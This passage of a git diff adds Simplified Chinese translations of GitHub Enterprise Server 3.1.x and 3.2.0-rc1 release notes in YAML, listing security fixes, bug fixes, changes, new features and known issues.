悬赏计划报告。' + - 包已更新到最新的安全版本。 + bugs: + - 未配置 SAML 到期日期变量。 + - 应用程序服务在配置应用期间的运行状况检查将失败,然后才能进入正常状态。 + - '如果启用了 HTTP 代理,则 `ghe-cluster-config-node-init` 会在群集设置期间失败。' + - 预接收挂钩可能会遇到错误“未能解析当前可执行文件的完整路径”,因为 `/proc` 未装载至容器上。 + - Collectd 在初始启动后不会解析转发目标主机名。 + - 如果其中部分仓库因受法律保护而无法被清除,则清除陈旧的已删除仓库的作业可能会失败。 + - 后台作业将排入 `spam` 队列,这些作业不会得到处理。 + - 当 PR 合并失败后重新尝试时,首选合并方法将被重置。 + - 在使用 LDAP 身份验证模式的实例的用户协调过程中,Git 推送可能导致500 内部服务器错误。 + - '在从 3.0.x 升级到 3.1.x后,GitHub Actions 可能会失败,错误为:“执行此工作流程时发生意外错误。”' + changes: + - 通过跳过未更改的 IP 允许防火墙规则,提高了配置应用效率,可在大型群集上节省大量时间。 + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再返回元数据响应的时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。" + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接,则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/4.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/4.yml new file mode 100644 index 0000000000..4077e525f8 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/4.yml @@ -0,0 +1,45 @@ +date: '2021-07-27' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 下载包时,包页面上的计数没有增加。 + - '如果客户已启用 {% data variables.product.prodname_secret_scanning %} 且在自己的实例上已禁用或从未启用 {% data variables.product.prodname_actions %},则 `ghe-config-apply` 会超时,为客户显示提示或失败。' + - 在某些情况下,日志文件未在轮换后重新打开,导致运行时间高的实例占用大量磁盘空间。 + - "从 {% data variables.product.prodname_ghe_server %} 较旧版本进行的升级可能会失败,因为 {% data variables.product.prodname_actions %} 缺少作业。" + - '自定义预接收挂钩可能会导致这样的错误:“错误:/data/user/repositories/0/nw/12/34/56/7890/network.git/objects 对象目录不存在,请查看 .git/objects/info/alternates”。' + - 对于使用 HTTP 代理的所有用户,不支持使用未经身份验证的 HTTP 代理来进行页面容器构建。 + - 如果未启用依赖项关系图,则每当用户访问仓库的 `/settings` 页时,都会记录大量 503 错误。 + - 只有当用户通过团队或合作者状态与仓库建立关系时,或使用 ?type=internal` 参数进行查询时,才会返回内部仓库。 + - 失败的后台作业有无限制的重试,这可能会导致大的队列深度。 + - 如果在未启用依赖项关系图但启用了内容分析的情况下尝试运行将漏洞与 GitHub.com 同步的计划作业,则会生成大量 503 错误。 + - |如果在不运行定期计划备份的情况下启用 {% data variables.product.prodname_actions %},则 MSSQL 事务日志可能会无限增长,并且会占用设备数据磁盘上的所有可用空间,从而可能导致中断。 + + + +如果已配置定期 MSSQL 备份,则无需执行其他操作。否则,如果之前已启用 {% data variables.product.prodname_actions %},请在安装补丁后运行以下命令。 + + + +``` + +ghe-actions-console -s Mps -c ''Update-Service -Force'' + +ghe-actions-console -s Token -c ''Update-Service -Force'' + +ghe-actions-console -s Actions -c ''Update-Service -Force'' + +``` + +| + changes: + - "`babeld` 日志现在包括用于 HTTP ref 播发请求的 `cmd` 字段,而不是仅在协商请求中包括它。" + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再返回元数据响应的时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。" + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接,则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/5.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/5.yml new file mode 100644 index 0000000000..db2fc553e8 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/5.yml @@ -0,0 +1,20 @@ +date: '2021-08-10' +sections: + bugs: + - '使用 bash 子 shell 的自定义预接收挂钩将返回错误:`No such file or directory`。' + - 如果在不运行定期计划备份的情况下启用 GitHub Actions,则 MSSQL 事务日志可能会无限增长,并且会占用设备数据磁盘上的所有可用空间,从而可能导致中断。 + - 不必要的数据库日志记录在使用大量 LFS 的实例上消耗了大量磁盘空间。 + - 对“存储库创建”组织设置所做更改的审核日志条目不准确。 + - "过多记录 `ActionController::UnknownFormat` 异常会导致不必要的磁盘使用。" + - "LDAP `group_dn` 值超过 255 个字符将导致记录错误:`Data truncated for column 'group_dn' at row 1`。" + changes: + - 滥用速率限制现在称为辅助速率限制,因为它们限制的行为并不总是滥用。 + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/6.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/6.yml new file mode 100644 index 0000000000..9890f3ea58 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/6.yml @@ -0,0 +1,23 @@ +date: '2021-08-24' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 将非常大的图像或动态 GIF 附加到图像或拉取请求将失败。 + - 与自动更新相关的日志消息(`添加 h/m/s 随机时间。`)被记录到系统日志中。 + - 创建命名管道 (FIFO) 的自定义预接收挂钩会崩溃或挂起,从而导致超时错误。 + - 向审核日志高级搜索页面添加筛选器不会使用正确的 facet 前缀和值实时填充查询文本框。 + - "导致请求失败的内部 API 的 Git 挂钩返回异常 `undefined method body for \"success\":String (NoMethodError)`,而不是返回显式的 `nil`。" + - 删除集成后,可能还会删除不相关的 OAuth 应用程序或集成。 + - 添加包含表情符号字符的必填消息后,尝试查看或更改消息将返回 500 内部服务器错误。 + changes: + - 将 `triage` 和 `maintain` 添加到 REST API 返回的权限列表中。 + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的全部数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/7.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/7.yml new file mode 100644 index 0000000000..452ff2faa7 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/7.yml @@ -0,0 +1,18 @@ +date: '2021-09-07' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 如果未启动复制,则尝试通过使用 `ghe-repl-teardown` 指定新添加副本节点的 UUID 来拆除该节点将失败,且不会报告错误。 + - GitHub Pages 内部版本正通过外部代理(如果已配置)进行传递。 + - 创建子进程的自定义预接收挂钩在其环境中缺少 `PATH` 变量,从而导致“没有此类文件或目录”错误。 + - 如果启用了 `mysql-auto-failover`,则 MySQL 可在升级期间进行故障转移。 + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 将在升级过程中删除自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中 blob 文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将会使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/8.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/8.yml new file mode 100644 index 0000000000..a388d49cbe --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/8.yml @@ -0,0 +1,20 @@ +date: '2021-09-24' +sections: + security_fixes: + - '**高:**在 {% data variables.product.prodname_ghe_server %} 中发现了一个在构建 {% data variables.product.prodname_pages %} 站点时可以利用的路径遍历漏洞。{% data variables.product.prodname_pages %} 使用的用户控制配置选项没有受到足够的限制,因此可以读取 {% data variables.product.prodname_ghe_server %} 实例上的文件。要利用此漏洞,攻击者需要获得在 {% data variables.product.prodname_ghe_server %} 实例上创建和构建 {% data variables.product.prodname_pages %} 站点的权限。此漏洞影响 3.1.8 之前的所有 {% data variables.product.prodname_ghe_server %} 版本,在 3.1.8、3.0.16 和 2.22.22 中得到了修复。这是 CVE-2021-22867 修复不完整的结果。此漏洞通过 GitHub Bug 赏金计划报告,编号为 CVE-2021-22868。{% comment %} https://github.com/github/pages/pull/3361, https://github.com/github/pages/pull/3357 {% endcomment %}' + - '**中:**{% data variables.product.prodname_ghe_server %} 中的不正确访问控制漏洞允许工作流作业在其不应访问的自承载运行器组中执行。这会影响使用自承载运行器组进行访问控制的客户。由于请求期间的身份验证检查不正确,有权访问一个企业运行器组的存储库可以访问组织内的所有企业运行器组。这可能会导致代码被不正确的运行器组无意运行。此漏洞影响 3.0.0-3.0.15 以及 3.1.0-3.1.7 的所有 {% data variables.product.prodname_ghe_server %} 版本,在 3.0.16 和 3.1.8 中得到了修复。其编号为 CVE-2021-22869。{% comment %} https://github.com/github/enterprise2/pull/27013 {% endcomment %}' + bugs: + - '在维护模式期间,Resque 工作进程计数显示不正确。{% comment %} https://github.com/github/enterprise2/pull/26899, https://github.com/github/enterprise2/pull/26883 {% endcomment %}' + - '在群集模式下,分配的 memcached 内存可能为零。{% comment %} https://github.com/github/enterprise2/pull/26928, https://github.com/github/enterprise2/pull/26832 {% endcomment %}' + - '非空二进制文件在拉取请求“文件”选项卡上显示了不正确的文件类型和大小。{% comment %} https://github.com/github/github/pull/192810, https://github.com/github/github/pull/172284, https://github.com/github/coding/issues/694 {% endcomment %}' + - '修复了 {% data variables.product.prodname_pages %} 构建,以便考虑设备的 NO_PROXY 设置。这仅与配置了 HTTP 代理的设备有关。(更新时间:2021-09-30){% comment %} https://github.com/github/pages/pull/3360 {% endcomment %}' + - '即使不使用 `ghe-restore` 的 `--config` 选项,源实例的 GitHub Connect 配置也始终恢复到新实例。如果源实例和目标实例同时联机,这将导致与 GitHub Connect 连接和许可证同步发生冲突。该修复还需要将 backup-utils 更新到 3.2.0 或更高版本。[更新时间:2021-11-18]' + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再返回元数据响应的时间值。这样做是为了大幅提高性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在解决现有性能问题后恢复返回该值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可能创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/9.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/9.yml new file mode 100644 index 0000000000..9a68debc63 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/9.yml @@ -0,0 +1,28 @@ +date: '2021-10-12' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/27035, https://github.com/github/enterprise2/pull/27010 {% endcomment %}' + bugs: + - '由于过于严格的虚拟内存或 CPU 时间限制,自定义预接收挂钩可能会失败。{% comment %} https://github.com/github/enterprise2/pull/26972, https://github.com/github/enterprise2/pull/26955 {% endcomment %}' + - '尝试使用 `ghe-cleanup-settings` 擦除所有现有配置设置无法重启管理控制台服务。{% comment %} https://github.com/github/enterprise2/pull/26987, https://github.com/github/enterprise2/pull/26901 {% endcomment %}' + - '在通过“ghe-repl-teardown”进行复制拆除期间,Memcached 未能重启。{% comment %} https://github.com/github/enterprise2/pull/26993, https://github.com/github/enterprise2/pull/26983 {% endcomment %}' + - '在高负载期间,当上游服务未通过内部运行状况检查时,用户将收到 HTTP 503 状态代码。{% comment %} https://github.com/github/enterprise2/pull/27082, https://github.com/github/enterprise2/pull/26999 {% endcomment %}' + - '配置 Actions 后,从 GitHub Enterprise 备份实用工具快照还原后,MSSQL 复制将失败。{% comment %} https://github.com/github/enterprise2/pull/27097, https://github.com/github/enterprise2/pull/26254 {% endcomment %}' + - '运行 `ghe-config-apply` 时可能会显示错误的 `jq` 错误消息。{% comment %} https://github.com/github/enterprise2/pull/27194, https://github.com/github/enterprise2/pull/26784 {% endcomment %}' + - '预接收挂钩环境被禁止通过 Alpine 上的 BusyBox 调用 cat 命令。{% comment %} https://github.com/github/enterprise2/pull/27115, https://github.com/github/enterprise2/pull/27094 {% endcomment %}' + - '外部数据库密码以明文形式记录。{% comment %} https://github.com/github/enterprise2/pull/27173, https://github.com/github/enterprise2/pull/26413 {% endcomment %}' + - '从主群集数据中心故障转移到辅助群集数据中心成功,但随后故障转移回原始主群集数据中心时未能提升 Elasticsearch 索引。{% comment %} https://github.com/github/github/pull/193181, https://github.com/github/github/pull/192447 {% endcomment %}' + - '组织的“团队”页面上的“导入团队”按钮返回了 HTTP 404。{% comment %} https://github.com/github/github/pull/193302 {% endcomment %}' + - '在某些情况下,尝试查看“休眠用户”页面的 GitHub Enterprise 管理员会收到“502 网关错误”或“504 网关超时”响应。{% comment %} https://github.com/github/github/pull/194260, https://github.com/github/github/pull/193609 {% endcomment %}' + - '由于“SynchronizePullRequestJob”作业数量的增加,在某些高负载情况下,性能会受到负面影响。{% comment %} https://github.com/github/github/pull/195253, https://github.com/github/github/pull/194591 {% endcomment %}' + changes: + - '更有效地删除超出 Webhook 日志保留时段的 Webhook 日志。{% comment %} https://github.com/github/enterprise2/pull/27158 {% endcomment %}' + known_issues: + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "如果为 {% data variables.product.prodname_ghe_server %} 启用 {% data variables.product.prodname_actions %},将能使用 `ghe-repl-teardown` 成功拆解副本节点,但是可能会返回 `ERROR:Running migrations`。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/0-rc1.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/0-rc1.yml new file mode 100644 index 0000000000..602c6f1e71 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/0-rc1.yml @@ -0,0 +1,359 @@ +date: '2021-09-09' +release_candidate: true +deprecated: true +intro: "如果 {% data variables.product.product_location %} 正在运行发布候选版本,则无法使用热补丁升级。建议仅在测试环境中运行候选发布版本。" +sections: + features: + - heading: 机密扫描的自定义模式 + notes: + # https://github.com/github/releases/issues/1426 + - |{% data variables.product.prodname_GH_advanced_security %} 客户现可指定机密扫描的自定义模式。指定新模式时,机密扫描会在存储库的整个 Git 历史记录中搜索该模式以及任何新提交。 + + + +用于 {% data variables.product.prodname_ghe_server %} 3.2 的用户定义模式为 beta 版本。可在仓库、组织和企业级定义此类模式。有关详细信息,请参阅“[定义机密扫描的自定义模式](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)”。 + +| + - heading: 高级安全的安全概述(beta 版本) + notes: + # https://github.com/github/releases/issues/1381 + - |{% data variables.product.prodname_GH_advanced_security %} 客户现可查看 {% data variables.product.prodname_code_scanning %}、{% data variables.product.prodname_dependabot %} 和 {% data variables.product.prodname_secret_scanning %} 检测到的企业级应用程序安全风险。安全概述显示每个存储库上安全功能的启用状态以及检测到的警报数量。 + + + +此外,安全概述将列出组织级别的所有 {% data variables.product.prodname_secret_scanning %} 警报。与 {% data variables.product.prodname_secret_scanning %} 警报相似的视图将在未来的版本中推出。有关详细信息,请参阅“[关于安全概述](/code-security/security-overview/about-the-security-overview)”。 + + + +![安全概述的屏幕截图](/assets/images/enterprise/3.2/release-notes/security-overview-UI.png) + +| + - heading: 依赖项审查(beta 版本) + notes: + # https://github.com/github/releases/issues/1364 + - |{% data variables.product.prodname_GH_advanced_security %} 客户现可查看拉取请求中已更改的依赖项的大量差异。依赖项审查在拉取请求的“更改的文件”选项卡中提供依赖项更改及其安全影响的易于理解的视图。视图中将显示已添加、删除或更新了哪些依赖项以及这些依赖项的漏洞信息。有关详细信息,请参阅“[审查拉取请求中的依赖项更改](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)”。 + +| + - heading: GitHub Actions 环境 + notes: + # https://github.com/github/releases/issues/1308 + - |环境、环境保护规则和环境机密现已正式可用于 {% data variables.product.product_name %} 上的 {% data variables.product.prodname_actions %}。有关详细信息,请参阅“[环境](/actions/reference/environments)”。 + + + +![安全保护规则](/assets/images/enterprise/3.2/release-notes/actions-environments.png) + +| + - heading: 使用安全密钥进行 SSH 身份验证 + notes: + # https://github.com/github/releases/issues/1276 + - |现在,将“sk-ecdsa-sha2-nistp256@openssh.com”或“sk-ssh-ed25519@openssh.com”SSH 密钥添加到帐户时,支持使用 FIDO2 安全密钥进行 SSH 身份验证。SSH 安全密钥将密钥材料存储在需要验证(例如点击)才能操作的单独硬件设备上。有关详细信息,请参阅“[生成新的 SSH 密钥并将其添加到 ssh-agent](/github/authenticating-to-github/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)”。 + +| + - heading: '深色和暗色主题' + notes: + # https://github.com/github/releases/issues/1260 + - |深色和暗色主题现在可用于 Web UI。未在 {% data variables.product.product_name %} 中设置主题偏好设置时,{% data variables.product.product_name %} 将匹配你的系统偏好设置。还可以选择哪些主题在白天和晚上处于活跃状态。有关详细信息,请参阅“[管理主题设置](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)”。 + + + +![深色和暗色主题](https://user-images.githubusercontent.com/33528647/114629560-d2231f80-9c86-11eb-9bde-cc301a97040d.gif) + +| + - heading: '批准电子邮件通知的未经验证域' + notes: + # https://github.com/github/releases/issues/1244 + - "无法进行验证的域现在可获批使用电子邮件通知路由。企业和组织所有者将能够批准域并立即扩充其电子邮件通知限制政策,允许将通知发送给协作者、顾问、收购方或其他合作伙伴。有关详细信息,请参阅“[验证或批准企业的域](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise#about-approval-of-domains)”和“[限制企业的电子邮件通知](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise#restricting-email-notifications-for-your-enterprise-account)”。" + + - heading: 'Git Credential Manager (GCM) 安全凭据存储和多重身份验证支持' + notes: + # https://github.com/github/releases/issues/1406 + - |Git Credential Manager (GCM) 版本 2.0.452 及更高版本现在为 {% data variables.product.product_name %} 提供安全强化的凭据存储和多重身份验证支持。 + + + +[Git for Windows](https://gitforwindows.org) 版本 2.32 及更高版本中提供具有 {% data variables.product.product_name %} 支持的 GCM。Git for macOS 或 Linux 中不提供 GCM,但可以单独安装。有关详细信息,请参阅“GitCredentialManager/git-credential-manager”存储库中的[最新发布](https://github.com/GitCredentialManager/git-credential-manager/releases/)和[安装说明](https://github.com/GitCredentialManager/git-credential-manager/releases/)。 + +| + changes: + - heading: 管理更改 + notes: + # https://github.com/github/releases/issues/1309 + - "“用户代理引荐者策略”设置已添加到企业设置中。这允许管理员设置更严格的“Referrer-Policy”以隐藏外部站点的 {% data variables.product.prodname_ghe_server %} 安装的主机名。此设置默认处于禁用状态,并在启用或禁用时由员工和企业所有者的审核日志事件进行跟踪。有关详细信息,请参阅“[为企业配置引荐者策略](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)”。" + + # https://github.com/github/releases/issues/1515 + - MySQL 健康检查已更改为使用“mysqladmin ping”而不是 TCP 检查,这消除了 MySQL 错误日志中的一些不必要干扰。此外,Orchestrator 故障转移检查已进行改进,以防止在应用集群配置更改时发生不必要的 MySQL 故障转移。 + + # https://github.com/github/releases/issues/1287 + - "Resque 服务(支持后台作业处理)已替换为 Aqueduct Lite。此更改使作业系统更易于管理,并且不应影响用户体验。有关 Aqueduct 的新管理和调试命令,请参阅“[命令行实用程序](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-aqueduct)”。" + + - heading: 令牌更改 + notes: + # https://github.com/github/releases/issues/1235 + - |{% data variables.product.product_name %} 的身份验证令牌的格式已更改。此更改将影响 {% data variables.product.prodname_oauth_apps %} 的个人访问令牌和访问令牌的格式,以及 {% data variables.product.prodname_github_apps %} 的用户到服务器、服务器到服务器和刷新令牌的格式。 + + + +不同的令牌类型现在具有唯一的可识别前缀,这允许通过机密扫描来检测令牌,以便可以减轻某人意外将令牌提交到存储库的影响。{% data variables.product.company_short %} 建议尽快更新现有令牌。有关详细信息,请参阅“[关于向 {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github#githubs-token-formats) 进行身份验证”和“[关于 {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)”。 + +| + - heading: '存储库更改' + notes: + # https://github.com/github/releases/issues/1295 + - 用户配置文件和组织配置文件上的存储库限制支持按星级排序。 + + # https://github.com/github/releases/issues/1327 + - "查看单个文件的提交历史记录时,现在可以单击 {% ocicon \"file-code\" aria-label=\"The code icon\" %} 以在历史记录中的选定点查看该文件。" + + # https://github.com/github/releases/issues/1254 + - "在 {% data variables.product.product_location %} 中使用相对路径定义子模块时,现在可以在 Web UI 中单击该子模块。单击 Web UI 中的子模块会定向到链接的存储库。以前只能单击具有绝对 URL 的子模块。具有相同所有者且遵循模式 ../REPOSITORY 的存储库的相对路径或具有不同所有者且遵循模式 ../OWNER/REPOSITORY 的存储库的相对路径支持此功能。有关使用子模块的详细信息,请参阅 {% data variables.product.prodname_blog %} 上的 [使用子模块](https://github.blog/2016-02-01-working-with-submodules/)。" + + # https://github.com/github/releases/issues/1250 + - "Web UI 现在可用于将分支的过期分支与分支的上游分支同步。如果分支之间没有合并冲突,则通过快进或从上游合并来更新分支。如果存在冲突,系统将提示创建拉取请求以解决冲突。有关详细信息,请参阅“[同步分支](/github/collaborating-with-pull-requests/working-with-forks/syncing-a-fork#syncing-a-fork-from-the-web-ui)”。" + + - heading: 'Markdown 更改' + notes: + # https://github.com/github/releases/issues/1477 + - "在存储库中创建或编辑版本时使用的 Markdown 编辑器现在具有文本编辑工具栏。有关详细信息,请参阅“[管理存储库中的发布](/github/administering-a-repository/releasing-projects-on-github/managing-releases-in-a-repository#creating-a-release)”。" + + # https://github.com/github/releases/issues/1169 + - "现在,在 {% data variables.product.product_name %} 上编写 Markdown 的任何位置都支持上传视频文件。在问题、拉取请求评论以及存储库内的 Markdown 文件(例如自述文件)中共享演示、复制步骤等。有关详细信息,请参阅“[附加文件](/github/writing-on-github/working-with-advanced-formatting/attaching-files)”。" + + # https://github.com/github/releases/issues/1269 + - 当有 2 个或更多标题时,Markdown 文件现在将在标题中自动生成目录。目录是交互式的并且链接到选定部分。支持所有 6 个 Markdown 标题级别。 + + # https://github.com/github/releases/issues/1294 + - '有一个新的键盘快捷方式,macOS 上的“cmd+e”或 Windows 上的“ctrl+e”,用于在 Markdown 文件、问题、拉取请求和评论中插入代码块。' + + # https://github.com/github/releases/issues/1474 + - "将“?plain=1”附加到任何 Markdown 文件的 URL 时,现在将显示该文件而不进行渲染和显示行号。普通视图可用于将其他用户链接到特定行。例如,附加“?plain=1#L52”将突出显示纯文本 Markdown 文件的第 52 行。有关详细信息,请参阅“[创建指向代码片段的永久链接](/github/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet#linking-to-markdown)”。" + + - heading: '问题和拉取请求更改' + notes: + # https://github.com/github/releases/issues/1413 + - "使用 [Octicons 的最新版本](https://github.com/primer/occticons/releases) 时,现在问题和拉取请求的状态在视觉上更加清晰,因此你可以更轻松地扫描其状态。有关详细信息,请参阅 [{% data variables.product.prodname_blog %}](https://github.blog/changelog/2021-06-08-new-issue-and-pull-request-state-icons/)。" + + # https://github.com/github/releases/issues/1419 + - "现已推出新的“在合并前需要对话解决”分支保护规则和“对话”菜单。从“更改的文件”选项卡中轻松发现你的拉取请求评论,并要求在合并之前解决所有拉取请求对话。有关详细信息,请参阅“[关于拉取请求评审](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews#discovering-and-navigating-conversations)”和“[关于受保护分支](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-conversation-resolution-before-merging)”。" + + # https://github.com/github/releases/issues/1279 + - "为了防止在为拉取请求启用自动合并后合并意外更改,现在当没有存储库写入权限的用户推送新更改时,系统将自动禁用自动合并。启用自动合并后,没有写入权限的用户仍然可以使用基本分支中的更改来更新拉取请求。为防止恶意用户使用合并冲突将意外更改引入拉取请求,在更新导致合并冲突时,将禁用自动合并拉取请求。有关自动合并的更多信息,请参阅“[自动合并拉取请求](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)”。" + + # https://github.com/github/releases/issues/1550 + - 